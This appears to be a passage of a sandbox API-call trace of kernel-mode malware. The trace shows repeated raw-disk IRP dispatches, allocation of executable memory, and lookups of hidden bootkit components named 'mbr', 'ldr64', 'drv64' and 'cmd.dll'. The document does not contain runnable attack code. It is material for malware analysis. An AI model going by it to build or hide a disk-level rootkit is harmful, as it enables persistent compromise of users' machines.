MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.123] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.124] IdePortDispatch () returned 0x103 [0093.124] KeWaitForMutexObject () returned 0x0 [0093.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.124] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.124] IdePortDispatch () returned 0x103 [0093.124] KeWaitForMutexObject () returned 0x0 [0093.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.124] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.124] IdePortDispatch () returned 0x103 [0093.124] KeWaitForMutexObject () returned 0x0 [0093.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.124] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.124] IdePortDispatch () returned 0x103 [0093.124] KeWaitForMutexObject () returned 0x0 [0093.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.125] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.125] IdePortDispatch () returned 0x103 [0093.125] KeWaitForMutexObject () returned 0x0 [0093.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.125] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.125] IdePortDispatch () returned 0x103 [0093.125] KeWaitForMutexObject () returned 0x0 [0093.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.125] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.125] IdePortDispatch () returned 0x103 [0093.125] KeWaitForMutexObject () returned 0x0 [0093.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.125] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.125] IdePortDispatch () returned 0x103 [0093.126] KeWaitForMutexObject () returned 0x0 [0093.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.126] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.126] IdePortDispatch () returned 0x103 [0093.126] KeWaitForMutexObject () returned 0x0 [0093.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.126] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.126] IdePortDispatch () returned 0x103 [0093.126] KeWaitForMutexObject () returned 0x0 [0093.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.126] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.126] IdePortDispatch () returned 0x103 [0093.126] KeWaitForMutexObject () returned 0x0 [0093.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.127] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.127] IdePortDispatch () returned 0x103 [0093.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.127] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.127] IdePortDispatch () returned 0x103 [0093.127] KeWaitForMutexObject () returned 0x0 [0093.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.127] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.127] IdePortDispatch () returned 0x103 [0093.127] KeWaitForMutexObject () returned 0x0 [0093.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.127] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.127] IdePortDispatch () returned 0x103 [0093.128] KeWaitForMutexObject () returned 0x0 [0093.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.128] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.128] IdePortDispatch () returned 0x103 [0093.128] KeWaitForMutexObject () returned 0x0 [0093.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.128] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.128] IdePortDispatch () returned 0x103 [0093.128] KeWaitForMutexObject () returned 0x0 [0093.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.128] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.128] IdePortDispatch () returned 0x103 [0093.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.129] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.129] IdePortDispatch () returned 0x103 [0093.129] KeWaitForMutexObject () returned 0x0 [0093.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.129] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.129] IdePortDispatch () returned 0x103 [0093.129] KeWaitForMutexObject () returned 0x0 [0093.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.129] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.129] IdePortDispatch () returned 0x103 [0093.129] KeWaitForMutexObject () returned 0x0 [0093.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.129] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.129] IdePortDispatch () returned 0x103 [0093.129] KeWaitForMutexObject () returned 0x0 [0093.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.130] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.130] IdePortDispatch () returned 0x103 [0093.130] KeWaitForMutexObject () returned 0x0 [0093.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.130] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.130] IdePortDispatch () returned 0x103 [0093.130] KeWaitForMutexObject () returned 0x0 [0093.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.130] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.130] IdePortDispatch () returned 0x103 [0093.130] KeWaitForMutexObject () returned 0x0 [0093.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.130] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.131] IdePortDispatch () returned 0x103 [0093.131] KeWaitForMutexObject () returned 0x0 [0093.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.131] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.131] IdePortDispatch () returned 0x103 [0093.131] KeWaitForMutexObject () returned 0x0 [0093.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.131] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.131] IdePortDispatch () returned 0x103 [0093.131] KeWaitForMutexObject () returned 0x0 [0093.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.131] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.131] IdePortDispatch () returned 0x103 [0093.131] KeWaitForMutexObject () returned 0x0 [0093.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.132] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.132] IdePortDispatch () returned 0x103 [0093.132] KeWaitForMutexObject () returned 0x0 [0093.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.132] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.132] IdePortDispatch () returned 0x103 [0093.132] KeWaitForMutexObject () returned 0x0 [0093.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.132] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.132] IdePortDispatch () returned 0x103 [0093.132] KeWaitForMutexObject () returned 0x0 [0093.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.133] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.133] IdePortDispatch () returned 0x103 [0093.133] KeWaitForMutexObject () returned 0x0 [0093.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.133] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.133] IdePortDispatch () returned 0x103 [0093.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.134] KeLeaveCriticalRegion () [0093.134] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.134] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f4, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x20000) returned 0x0 [0093.134] _snprintf (in: _Dest=0xfffff88002f9d3d0, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0093.134] KeEnterCriticalRegion () [0093.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.134] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff88002c84000 [0093.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.134] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.134] IdePortDispatch () returned 0x103 [0093.134] KeWaitForMutexObject () returned 0x0 [0093.134] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0093.134] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0093.134] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.135] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.135] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.135] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.135] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.135] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0093.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.135] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.135] IdePortDispatch () returned 0x103 [0093.135] KeWaitForMutexObject () returned 0x0 [0093.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.135] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.135] IdePortDispatch () returned 0x103 [0093.135] KeWaitForMutexObject () returned 0x0 [0093.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.135] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.135] IdePortDispatch () returned 0x103 [0093.135] KeWaitForMutexObject () returned 0x0 [0093.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.136] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.136] IdePortDispatch () returned 0x103 [0093.136] KeWaitForMutexObject () returned 0x0 [0093.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.136] 